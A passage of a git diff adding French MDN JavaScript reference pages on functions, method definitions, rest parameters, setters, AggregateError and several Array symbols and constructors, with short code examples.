+ +
document.form1.button1.onclick = function() {
+   setBGColor('une valeur');
+};
+
+ +

Les fonctions de bloc

+ +

En mode strict, à partir d'ES2015 (ES6), la portée des fonctions définies dans un bloc est limitée à ce bloc. Avant ES2015, il était interdit d'utiliser les fonctions de bloc en mode strict..

+ +
'use strict';
+
+function f() {
+  return 1;
+}
+
+{
+  function f() {
+    return 2;
+  }
+}
+
+f() === 1; // true
+
+// f() === 2 en mode non-strict
+
+ +

Les fonctions de bloc dans du code non-strict

+ +

Non.

+ +

Dans du code non-strict, les déclarations de fonctions placées dans des blocs peuvent se comporter de façon étrange :

+ +
if (onDevraitDéfinirZéro) {
+   function zéro() { // DANGER: risque de compatibilité
+      console.log("Voici zéro.");
+   }
+}
+
+ +

ES2015 indique que si onDevraitDéfinirZéro vaut false, zéro ne devrait jamais être défini car le bloc n'est jamais exécuté. En revanche, c'est une nouveauté liée à cette version du standard, non spécifiée auparavant. Certains navigateurs définissent zéro que le bloc soit exécuté ou non.

+ +

En mode strict, tous les navigateurs qui prennent en charge ES2015 gère cela de la même façon : zéro est uniquement défini si onDevraitDéfinirZéro vaut true et uniquement dans la portée du bloc induit par if.

+ +

Une méthode plus sûre est d'utiliser des expressions de fonction :

+ +
var zéro;
+if (0) {
+   zéro = function() {
+      console.log("Voici zéro.");
+   };
+}
+
+ +

Exemples

+ +

Renvoyer un nombre formaté

+ +

La fonction qui suit renvoie une chaîne de caractères contenant la représentation formatée d'un nombre avec un certain nombre de zéros préfixant le nombre.

+ +
// Cette fonction renvoie une chaîne de caractères complétée par un préfixe composé de zéros
+function padZeros(num, totalLen) {
+   var numStr = num.toString();             // On initialise la valeur à renvoyer en chaîne de caractères
+   var numZeros = totalLen - numStr.length; // On calcule le nombre de zéros
+   for (var i = 1; i <= numZeros; i++) {
+      numStr = "0" + numStr;
+   }
+   return numStr;
+}
+
+ +

Les instructions qui suivent utilisent cette fonction

+ +
var resultat;
+resultat = padZeros(42,4); // renvoie "0042"
+resultat = padZeros(42,2); // renvoie "42"
+resultat = padZeros(5,4);  // renvoie "0005"
+
+ +

Déterminer si une fonction existe

+ +

Il est possible de déterminer si oui ou non une fonction existe en utilisant l'opérateur typeof. Dans l'exemple qui suit, on teste pour savoir si l'objet window possède une propriété appelé noFunc qui serait une fonction. Si c'est le cas, elle sera utilisée, sinon on fera autre chose.

+ +
 if ('function' === typeof window.noFunc) {
+   // utilisation de noFunc()
+ } else {
+   // faire autre chose
+ }
+
+ +

Il est à noter que, dans le test if, on utilise une référence à noFunc - il n'y a pas de parenthèses après le nom de la fonction, la fonction n'est donc pas appelée.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0
{{SpecName('ES5.1', '#sec-13', 'Function Definition')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}{{Spec2('ES6')}}Nouveautés : fonctions fléchées, générateurs, paramètres par défaut, paramètres du reste
{{SpecName('ES6', '#', 'function*')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ES6', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}{{Spec2('ES6')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.functions")}}

+ +

Voir aussi

+ +
    +
  • L'instruction {{jsxref("Instructions/function", "function")}}
    • +
  • L'expression {{jsxref("Opérateurs/L_opérateur_function", "function")}}
    • +
  • L'instruction {{jsxref("Instructions/function*", "function*")}}
    • +
  • L'expression {{jsxref("Opérateurs/function*", "function*")}}
    • +
  • {{jsxref("Function")}}
    • +
  • {{jsxref("GeneratorFunction")}}
    • +
  • {{jsxref("Fonctions/Fonctions_fléchées", "Les fonctions fléchées")}}
    • +
  • {{jsxref("Fonctions/Valeurs_par_défaut_des_arguments", "Les paramètres par défaut","",1)}}
    • +
  • {{jsxref("Fonctions/paramètres_du_reste", "Les paramètres du reste","",1)}}
    • +
  • L'objet {{jsxref("Fonctions/arguments", "arguments")}}
    • +
  • {{jsxref("Fonctions/get", "getter")}}
    • +
  • {{jsxref("Fonctions/set", "setter")}}
    • +
  • {{jsxref("Fonctions/Définition_de_méthode", "Les définitions de méthodes","",1)}}
    • +
  • Fonctions et portée des fonctions
    • +
diff --git a/files/fr/web/javascript/reference/functions/method_definitions/index.html b/files/fr/web/javascript/reference/functions/method_definitions/index.html new file mode 100644 index 0000000000..1884e63c14 --- /dev/null +++ b/files/fr/web/javascript/reference/functions/method_definitions/index.html @@ -0,0 +1,219 @@ +--- +title: Définir une méthode +slug: Web/JavaScript/Reference/Fonctions/Définition_de_méthode +tags: + - ECMAScript 2015 + - Fonctions + - JavaScript + - Object + - Reference + - Syntaxe +translation_of: Web/JavaScript/Reference/Functions/Method_definitions +--- +
{{JsSidebar("Functions")}}
+ +

Avec ECMAScript 2015 (ES6), il est possible d'utiliser une notation plus courte pour définir des méthodes au sein des littéraux objets. On peut ainsi définir plus rapidement une fonction qui sera utilisée comme méthode.

+ +
{{EmbedInteractiveExample("pages/js/functions-definitions.html")}}
+ + + +

Syntaxe

+ +
var obj = {
+  property( parameters… ) {},
+  *generator( parameters… ) {},
+  async property( parameters… ) {},
+  async* generator( parameters… ) {},
+
+  // avec les noms calculés :
+  [property]( parameters… ) {},
+  *[generator]( parameters… ) {},
+  async [property]( parameters… ) {},
+
+  // avec la syntaxe pour les accesseurs
+  // mutateurs :
+  get property() {},
+  set property(value) {}
+};
+
+ +

Description

+ +

La notation raccourcie est semblable à la syntaxe introduite par ECMAScript 5 pour les accesseurs et mutateurs.

+ +

Le code suivant :

+ +
var obj = {
+  toto: function() {
+    /* du code */
+  },
+  truc: function() {
+    /* du code */
+  }
+};
+ +

Peut désormais être raccourci en :

+ +
var obj = {
+  toto() {
+    /* du code */
+  },
+  truc() {
+    /* du code */
+  }
+};
+ +

Notation raccourcie pour les générateurs

+ +

Les générateurs sont des méthodes et peuvent donc être définis en utilisant la notation raccourci. Lorsqu'on les utilise :

+ +
    +
  • L'astérisque de la notation raccourcie doit être située avant le nom de la propriété pour le générateur. Autrement dit, * g(){} fonctionnera mais g*(){} ne fonctionnera pas.
    • +
  • Les définitions des méthodes qui ne sont pas des générateurs ne peuvent pas contenir le mot-clé yield. Cela signifie que l'ancienne syntaxe pour les générateurs ne fonctionnera pas et déclenchera une exception {{jsxref("SyntaxError")}}. Il faut toujours utiliser yield avec l'astérisque (*).
    • +
+ +
// Notation utilisant une propriété nommée (avant-ES2015)
+var obj2 = {
+  g: function*() {
+    var index = 0;
+    while(true)
+      yield index++;
+  }
+};
+
+// La même définition, en utilisant la notation raccourcie
+var obj2 = {
+  * g() {
+    var index = 0;
+    while(true)
+      yield index++;
+  }
+};
+
+var it = obj2.g();
+console.log(it.next().value); // 0
+console.log(it.next().value); // 1
+ +

Méthodes asynchrones avec notation raccourcie

+ +

Les méthodes asynchrones peuvent également être définies grâce à une syntaxe raccourcie.

+ +
// On utilise une propriété nommée
+var obj3 = {
+  f: async function () {
+    await une_promesse;
+  }
+};
+
+// Ici, on obtient le même résultat
+// avec la notation raccourcie
+var obj3 = {
+  async f() {
+    await une_promesse;
+  }
+};
+
+ +

Méthodes génératrices asynchrones

+ +

Les méthodes génératrices peuvent également être asynchrones (cf. async) :

+ +
var obj4 = {
+  f: async function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+  }
+};
+
+// Le code équivalent avec la
+// notation raccourcie
+var obj4 = {
+  async* f() {
+    yield 1;
+    yield 2;
+    yield 3;
+  }
+};
+ +

Les définitions de méthodes ne sont pas constructibles

+ +

Les définitions de méthodes ne sont pas des constructeurs et si on tente de les instancier, cela provoquera une exception {{jsxref("TypeError")}}.

+ +
var obj = {
+  méthode() {},
+};
+new obj.méthode; // TypeError: obj.méthode is not a constructor
+
+var obj = {
+  * g() {}
+};
+new obj.g; // TypeError: obj.g is not a constructuer (changé avec ES2016)
+
+ +

Exemples

+ +

Cas de test

+ +
var obj = {
+  a : "toto",
+  b(){ return this.a; }
+};
+console.log(obj.b()); // "toto"
+
+ +

Noms de propriétés calculés

+ +

Cette notation raccourcie peut également être utilisée avec des noms de propriétés calculés.

+ +
var bar = {
+  toto0 : function (){return 0;},
+  toto1(){return 1;},
+  ["toto" + 2](){return 2;},
+};
+
+console.log(bar.toto0()); // 0
+console.log(bar.toto1()); // 1
+console.log(bar.toto2()); // 2
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-method-definitions', 'Method definitions')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ES2016', '#sec-method-definitions', 'Method definitions')}}{{Spec2('ES2016')}}Les méthodes génératrices ne doivent pas implémenter la trappe [[Construct]] et déclencher une exception lorsqu'elles sont utilisées avec new.
{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.functions.method_definitions")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/functions/rest_parameters/index.html b/files/fr/web/javascript/reference/functions/rest_parameters/index.html new file mode 100644 index 0000000000..6ac181fe51 --- /dev/null +++ b/files/fr/web/javascript/reference/functions/rest_parameters/index.html @@ -0,0 +1,219 @@ +--- +title: Paramètres du reste (Rest parameters) +slug: Web/JavaScript/Reference/Fonctions/paramètres_du_reste +tags: + - ECMAScript 2015 + - Functions + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Functions/rest_parameters +--- +
{{jsSidebar("Functions")}}
+ +

Cette syntaxe permet de représenter un nombre indéfini d'arguments sous forme d'un tableau.

+ +
{{EmbedInteractiveExample("pages/js/functions-restparameters.html")}}
+ + + +

Syntaxe

+ +
function f(a, b, ...lesArguments) {
+  // ...
+}
+
+ +

Description

+ +

Si le dernier paramètre nommé fourni à la fonction est préfixé de ... (trois points), il devient un tableau dont les éléments entre 0 (inclus) et lesArguments.length (exclus) sont fournis comme autres arguments à la fonction.

+ +
function maFonction(a, b, ...plusDArguments) {
+  console.log("a", a);
+  console.log("b", b);
+  console.log("plusDArguments", plusDArguments);
+}
+
+maFonction("un", "deux", "trois", "quatre", "cinq");
+// affichera ceci dans la console :
+// a, "un"
+// b, "deux"
+// plusDArguments, ["trois", "quatre", "cinq"]
+ +

Les différences entre les paramètres du reste et l'objet arguments

+ +

Il y a trois principales différences entre les paramètres du reste et l'objet {{jsxref("Fonctions/arguments","arguments")}} :

+ +
    +
  • les paramètres du reste sont uniquement ceux qui ne possèdent pas de noms à part entière (autrement dit ceux qui ne sont pas formellement définis dans l'expression de fonction), l'objet arguments contient chaque argument passé à la fonction
    • +
  • l'objet arguments n'est pas, à strictement parler, un tableau. Le paramètre représentant les arguments restant est une instance d'{{jsxref("Array","Array")}} à laquelle on peut appliquer directement des méthodes comme {{jsxref("Array/sort","sort")}}, {{jsxref("Array/map","map")}}, {{jsxref("Array/forEach","forEach")}} ou {{jsxref("Array/pop","pop")}}
    • +
  • l'objet arguments possède des fonctionnalités spécifiques (comme, par exemple, la propriété callee)
    • +
+ +

Convertir arguments en un tableau

+ +

Ces paramètres ont été introduits afin de réduire le code passe-partout souvent induit par les arguments.

+ +
// Avant les paramètres du reste, on observait souvent ce style de code :
+function f(a, b){
+  var args = Array.prototype.slice.call(arguments, f.length);
+  // ou encore
+  var args = [].slice.call(arguments);
+  // ou encore
+  var args = Array.from(arguments);
+
+  // et on pouvait alors écrire
+  var premier = args.shift(); // OK
+  // mais pas
+  var premier = arguments.shift(); // erreur car arguments n'est pas un tableau
+}
+
+// ce qui est l'équivalent de
+function f(...args) {
+  var tabNormal = args;
+  var premier = tabNormal.shift();
+}
+
+ +

La décomposition sur les paramètres du reste

+ +

On peut également décomposer les paramètres du reste en variables distinctes :

+ +
function f(...[a, b, c]) {
+  return a + b + c;
+}
+
+f(1);          // NaN (b et c valent undefined)
+f(1, 2, 3);    // 6
+f(1, 2, 3, 4); // 6, le dernier paramètre n'est pas décomposé
+
+ +

Vous pouvez également accéder aux éléments des paramètres du reste :

+ +
function fun1(...lesArguments) {
+    console.log("valeur", lesArguments[0][0]);
+}
+
+fun1([5, 2], [5, 4]); // 5
+fun1([8, 2]); // 8
+fun1([9, 6, 7]); // 9
+ +

Exemples

+ +

S'il n'y a qu'un seul argument qui est décomposé par la syntaxe, la valeur sera toujours un tableau :

+ +
function maFonction(a, b, ...autres);
+  console.log(a);
+  console.log(b);
+  console.log(autres);
+}
+
+maFonction("un", "deux", "trois");
+// affichera ceci dans la console
+// "un"
+// "deux"
+// ["trois"]
+
+ +

De même, s'il n'y a pas suffisamment d'arguments, ce sera un tableau vide :

+ +
function maFonction(a, b, ...autres);
+  console.log(a);
+  console.log(b);
+  console.log(autres);
+}
+
+maFonction("un", "deux");
+// affichera ceci dans la console
+// "un"
+// "deux"
+// []
+ +

lesArguments est un tableau et dispose donc d'une propriété length permettant de compter ses éléments :

+ +
function fun1(...lesArguments) {
+  console.log(lesArguments.length);
+}
+
+fun1();  // 0
+fun1(5); // 1
+fun1(5, 6, 7); // 3
+
+ +

Dans l'exemple qui suit, on utilise le paramètre Rest pour collecter les arguments après le premier pour les multiplier par le premier :

+ +
function multiplier(facteur, ...lesArguments) {
+  return lesArguments.map(function (element) {
+    return facteur * element;
+  });
+}
+
+var arr = multiplier(2, 1, 2, 3);
+console.log(arr); // [2, 4, 6]
+
+ +

L'exemple qui suit illustre comment on peut utiliser des méthodes de Array sur le paramètre Rest mais pas sur l'objet arguments :

+ +
function trierParamRest(...lesArguments) {
+  var argumentsTriés = lesArguments.sort();
+  return argumentsTriés;
+}
+
+console.log(trierParamRest(5,3,7,1)); // shows 1,3,5,7
+
+function trierArguments() {
+  var argumentsTriés = arguments.sort();
+  return argumentsTriés; // cela ne sera jamais appelé
+}
+
+// renvoie une exception TypeError: arguments.sort n'est pas une function
+console.log(trierArguments(5,3,7,1));
+
+ +

Pour utiliser les méthodes propres aux instances d'Array sur l'objet arguments, il est nécessaire de le convertir.

+ +
function trierAguments() {
+  var args = Array.from(arguments);
+  var argumentsTriés = args.sort();
+  return argumentsTriés;
+}
+console.log(trierArguments(5, 3, 7, 1)); // [1, 3, 5, 7]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-function-definitions', 'Function Definitions')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.functions.rest_parameters")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/functions/set/index.html b/files/fr/web/javascript/reference/functions/set/index.html new file mode 100644 index 0000000000..4cabb36149 --- /dev/null +++ b/files/fr/web/javascript/reference/functions/set/index.html @@ -0,0 +1,145 @@ +--- +title: L'opérateur set +slug: Web/JavaScript/Reference/Fonctions/set +tags: + - ECMAScript 5 + - Functions + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Functions/set +--- +
{{jsSidebar("Functions")}}
+ +

La syntaxe set permet de lier une propriété d'un objet à une fonction qui sera appelée à chaque tentative de modification de cette propriété.

+ +
{{EmbedInteractiveExample("pages/js/functions-setter.html")}}
+ + + +

Syntaxe

+ +
{set prop(val) { . . .}}
+{set [expression](val) { . . .}}
+ +

Paramètres

+ +
+
prop
+
Le nom de la propriété à lier à la fonction.
+
+ +
+
val
+
Un alias pour la variable qui contient la valeur qu'on souhaiterait affecter à prop.
+
expression
+
Avec ECMAScript 2015, il est également possible d'utiliser des expressions pour utiliser un nom de propriété calculé à lier à la fonction.
+
+ +

Description

+ +

En JavaScript, un mutateur (ou setter en anglais) peut être utiisé afin d'exécuter une fonction à chaque fois qu'on souhaite modifier la valeur d'une propriété donnée. La plupart du temps, les mutateurs sont utilisés avec les accesseurs (getters) afin de créer une pseudo-propriété. Il n'est pas possible d'avoir à la fois un mutateur et une valeur donnée pour une même propriété.

+ +

On notera que set :

+ +
+ +
+ +

On peut retirer un mutateur d'un objet grâce à l'opérateur {{jsxref("Opérateurs/L_opérateur_delete","delete")}}.

+ +

Exemples

+ +

Définir un mutateur sur de nouveaux objets avec un littéral objet

+ +

Dans l'exemple qui suit, on définit une pseudo-propriété courant pour un objet o qui, lorsqu'elle recevra une valeur, mettra à jour la propriété log avec la valeur reçue :

+ +
var o = {
+  set courant (str) {
+    this.log[this.log.length] = str;
+  },
+  log: []
+}
+
+ +

On notera que courant n'est pas défini. Toute tentative pour y accéder renverra undefined.

+ +

Supprimer un mutateur grâce à l'opérateur delete

+ +

Si on souhaite retirer un mutateur, on peut simplement utiliser l'opérateur {{jsxref("Opérateurs/L_opérateur_delete","delete")}} :

+ +
delete o.courant;
+
+ +

Définir un mutateur sur un objet existant avec defineProperty

+ +

On peut également ajouter un mutateur sur un objet d'ores et déjà créé. Pour cela, on utilisera la méthode {{jsxref("Object.defineProperty()")}}.

+ +
var o = { a:0 };
+
+Object.defineProperty(o, "b", { set: function (x) { this.a = x / 2; } });
+
+o.b = 10; // On utilise le setter, qui affecte 10 / 2 (5) à 'a'
+console.log(o.a) // 5
+ +

Utiliser un nom de propriété calculé

+ +
var expr = "toto";
+
+var obj = {
+  bidule: "truc",
+  set [expr](v) { this.bidule = v; }
+};
+
+console.log(obj.bidule); // "truc"
+obj.toto = "bidule";      // le mutateur est utilisé
+console.log(obj.bidule); // "bidule"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}{{Spec2('ES5.1')}}Définition initiale
{{SpecName('ES6', '#sec-method-definitions', 'Method definitions')}}{{Spec2('ES6')}}Ajout des noms de propriétés calculés
{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.functions.set")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Fonctions/get","get")}}
    • +
  • {{jsxref("Opérateurs/L_opérateur_delete","delete")}}
    • +
  • {{jsxref("Object.defineProperty()")}}
    • +
  • {{jsxref("Object.defineGetter", "__defineGetter__")}}
    • +
  • {{jsxref("Object.defineSetter", "__defineSetter__")}}
    • +
  • Définir des accesseurs et des mutateurs, dans le Guide JavaScript
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/aggregateerror/index.html b/files/fr/web/javascript/reference/global_objects/aggregateerror/index.html new file mode 100644 index 0000000000..782a968074 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/aggregateerror/index.html @@ -0,0 +1,88 @@ +--- +title: AggregateError +slug: Web/JavaScript/Reference/Objets_globaux/AggregateError +tags: + - AggregateError + - Classe + - Experimental + - Interface + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/AggregateError +--- +
{{JSRef}}
+ +

Un objet AggregateError représente une erreur lorsque plusieurs erreurs doivent être agrégées en une seule. Ce type d'exception est levée lorsque plusieurs erreurs sont rapportées par une opération, par exemple avec {{JSxRef("Promise.any()")}} lorsque l'ensemble des promesses qui lui sont passées échouent.

+ +
+
+ +

Constructeur

+ +
+
AggregateError()
+
Crée un nouvel objet AggregateError.
+
+ +

Propriétés des instances

+ +
+
{{JSxRef("Error.prototype.message", "AggregateError.prototype.message")}}
+
Le message d'erreur. La valeur par défaut est "".
+
{{JSxRef("Error.prototype.name", "AggregateError.prototype.name")}}
+
Le nom de l'erreur. La valeur par défaut est "AggregateError".
+
+ +

Exemples

+ +

Intercepter une erreur AggregateError

+ +
Promise.any([
+  Promise.reject(new Error("une erreur")),
+]).catch(e => {
+  console.log(e instanceof AggregateError); // true
+  console.log(e.message);                   // "All Promises rejected"
+  console.log(e.name);                      // "AggregateError"
+  console.log(e.errors);                    // [ Error: "une erreur" ]
+});
+
+ +

Créer un objet AggregateError

+ +
try {
+  throw new AggregateError([
+    new Error("une erreur"),
+  ], 'Coucou');
+} catch (e) {
+  console.log(e instanceof AggregateError); // true
+  console.log(e.message);                   // "Coucou"
+  console.log(e.name);                      // "AggregateError"
+  console.log(e.errors);                    // [ Error: "une erreur" ]
+}
+
+ +

Spécifications

+ + + + + + + + + + + + +
Spécification
{{SpecName('Promise.any', '#sec-aggregate-error-object-structure', 'AggregateError')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.AggregateError")}}

+ +

Voir

+ +
    +
  • {{JSxRef("Error")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/@@iterator/index.html b/files/fr/web/javascript/reference/global_objects/array/@@iterator/index.html new file mode 100644 index 0000000000..1843ed0508 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/@@iterator/index.html @@ -0,0 +1,90 @@ +--- +title: 'Array.prototype[@@iterator]()' +slug: Web/JavaScript/Reference/Objets_globaux/Array/@@iterator +tags: + - Array + - ECMAScript 2015 + - Iterator + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@iterator +--- +
{{JSRef}}
+ +

La valeur initiale de la propriété @@iterator correspond à la valeur initiale fournie par l'itérateur {{jsxref("Array.prototype.values()", "values")}}.

+ +

Syntaxe

+ +
arr[Symbol.iterator]()
+ +

Valeur de retour

+ +

La première valeur fournie par {{jsxref("Array.prototype.values()","values()")}}. Si on utilise arr[Symbol.iterator] (sans les parenthèses) le navigateur renverra par défaut la fonction {{jsxref("Array.prototype.values()", "values()")}}.

+ +

Exemples

+ +

Parcourir un tableau avec une boucle for...of

+ +
var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr  = arr[Symbol.iterator]();
+// il est nécessaire que l'environnement supporte
+// les boucles for..of et les variables
+// utilisées avec let ou const ou var
+for (let letter of eArr) {
+  console.log(letter);
+}
+
+ +

Parcourir un tableau avec next

+ +
var arr = ['w', 'y', 'k', 'o', 'p'];
+var eArr = arr[Symbol.iterator]();
+console.log(eArr.next().value); // w
+console.log(eArr.next().value); // y
+console.log(eArr.next().value); // k
+console.log(eArr.next().value); // o
+console.log(eArr.next().value); // p
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.prototype-@@iterator', 'Array.prototype[@@iterator]()')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.prototype-@@iterator', 'Array.prototype[@@iterator]()')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Array.@@iterator")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.keys()")}}
    • +
  • {{jsxref("Array.prototype.entries()")}}
    • +
  • {{jsxref("Array.prototype.forEach()")}}
    • +
  • {{jsxref("Array.prototype.every()")}}
    • +
  • {{jsxref("Array.prototype.some()")}}
    • +
  • {{jsxref("Array.prototype.values()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/@@species/index.html b/files/fr/web/javascript/reference/global_objects/array/@@species/index.html new file mode 100644 index 0000000000..58064e558b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/@@species/index.html @@ -0,0 +1,78 @@ +--- +title: 'get Array[@@species]' +slug: Web/JavaScript/Reference/Objets_globaux/Array/@@species +tags: + - Array + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@species +--- +
{{JSRef}}
+ +

La propriété d'accesseur Array[@@species] renvoie le constructeur Array.

+ +

Syntaxe

+ +
Array[Symbol.species]
+
+ +

Valeur de retour

+ +

Le constructeur {{jsxref("Array")}}.

+ +

Description

+ +

L'accesseur species renvoie le constructeur par défaut pour les objets Array. Les constructeurs des sous-classes peuvent le surcharger afin de modifier l'affectation du constructeur.

+ +

Exemples

+ +

La propriété renvoie le constructeur par défaut, dans le cas des objets Array, c'est le constructeur Array :

+ +
Array[Symbol.species]; // function Array()
+ +

Pour un objet dérivé, la valeur de species pour une classe MonArray sera le constructeur de cette classe. Vous pouvez surcharger ce comportement afin de renvoyer le constructeur Array :

+ +
class MonArray extends Array {
+  // On surcharge le symbole species
+  // pour renvoyer le constructeur Array parent
+  static get [Symbol.species]() { return Array; }
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-get-array-@@species', 'get Array [ @@species ]')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-array-@@species', 'get Array [ @@species ]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.@@species")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array")}}
    • +
  • {{jsxref("Symbol.species")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/@@unscopables/index.html b/files/fr/web/javascript/reference/global_objects/array/@@unscopables/index.html new file mode 100644 index 0000000000..b61ceb5279 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/@@unscopables/index.html @@ -0,0 +1,76 @@ +--- +title: 'Array.prototype[@@unscopables]' +slug: Web/JavaScript/Reference/Objets_globaux/Array/@@unscopables +tags: + - Array + - ECMAScript 2015 + - JavaScript + - Propriété + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Array/@@unscopables +--- +
{{JSRef}}
+ +

La propriété symbol @@unscopable contient les noms des propriétés qui ne faisait pas partie du standard ECMAScript avant ES2015 (ES6). Ces propriétés sont exclues lors de liaisons effectuée via l'instruction with.

+ +

Syntaxe

+ +
arr[Symbol.unscopables]
+ +

Description

+ +

Les propriétés natives d'un objet Array qui sont exclues lorsqu'on utilise with sont copyWithin, entries, fill, find, findIndex, includes, keys et values.

+ +

Voir la page sur le symbole {{jsxref("Symbol.unscopables")}} pour manipuler unscopables sur des objets personnalisés.

+ +

{{js_property_attributes(0,0,1)}}

+ +

Exemples

+ +

Le code qui suit fonctionne bien pour ES5 et les versions antérieures. En revanche, pour ECMAScript 2015 (ES6) et les versions ultérieures où la méthode  {{jsxref("Array.prototype.keys()")}} existe, lorsqu'on utilise un environnement créé avec with, "keys" serait désormais la méthode et non la variable. C'est là que le symbole natif @@unscopables Array.prototype[@@unscopables] intervient et empêche d'explorer ces méthodes avec with.

+ +
var keys = [];
+
+with(Array.prototype) {
+  keys.push("something");
+}
+
+Object.keys(Array.prototype[Symbol.unscopables]);
+// ["copyWithin", "entries", "fill", "find", "findIndex",
+//  "includes", "keys", "values"]
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.prototype-@@unscopables', 'Array.prototype[@@unscopables]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.prototype-@@unscopables', 'Array.prototype[@@unscopables]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.@@unscopables")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Symbol.unscopables")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/array/index.html b/files/fr/web/javascript/reference/global_objects/array/array/index.html new file mode 100644 index 0000000000..de1394bdd9 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/array/index.html @@ -0,0 +1,86 @@ +--- +title: Constructeur Array() +slug: Web/JavaScript/Reference/Objets_globaux/Array/Array +tags: + - Array + - Constructeur + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/Array +--- +
{{JSRef}}
+ +

Le constructeur Array() permet de créer des objets {{jsxref("Array")}}.

+ +

Syntaxe

+ +
[element0, element1, ..., elementN]
+
+new Array(element0, element1[, ...[, elementN]])
+new Array(longueurTableau)
+ +

Paramètres

+ +
+
elementN
+
Un tableau JavaScript est initialisé avec les éléments indiqués à moins qu'un seul argument ne soit passé (cf. longueurTableau ci-après). On notera que ce cas au limite ne s'applique qu'avec le constructeur Array. Si on utilise la forme littérale (avec les crochets), on peut initialiser un tableau avec un seul élément.
+
longueurTableau
+
Si le seul argument passé au constructeur Array est un entier entre 0 et 232-1 (inclus), le constructeur renverra un tableau dont la propriété length vaut ce nombre. Note : le tableau contiendra des éléments vides (à ne pas confondre avec des éléments qui vaudraient undefined). Si l'argument est un autre nombre, une exception {{jsxref("RangeError")}} sera levée.
+
+ +

Exemples

+ +

Utilisation de la notation littérale

+ +

Les tableaux peuvent être créés avec une notation littérale :

+ +
let fruits = ['Pomme', 'Banane'];
+
+console.log(fruits.length); // 2
+console.log(fruits[0]);     // "Pomme"
+
+ +

Utilisation du constructeur avec un seul paramètre

+ +

On peut créer des tableaux grâce au constructeur avec un seul paramètre numérique. On crée alors un tableau dont la propriété length vaut le nombre passé en argument et dont les éléments sont vides.

+ +
let fruits = new Array(2);
+
+console.log(fruits.length); // 2
+console.log(fruits[0]);     // undefined
+
+ +

Utilisation du constructeur avec plusieurs paramètres

+ +

Si on utilise plus d'un argument, un nouveau tableau ({{jsxref("Array")}}) sera construit avec les éléments passés en arguments.

+ +
let fruits = new Array('Pomme', 'Banane');
+
+console.log(fruits.length); // 2
+console.log(fruits[0]);     // "Pomme"
+
+ +

Spécifications

+ + + + + + + + + + +
Spécification
{{SpecName('ESDraft', '#sec-array-constructor', 'Array constructor')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Array.Array")}}

+ +

Voir aussi

+ +
    +
  • La classe {{jsxref("Array")}}
    • +
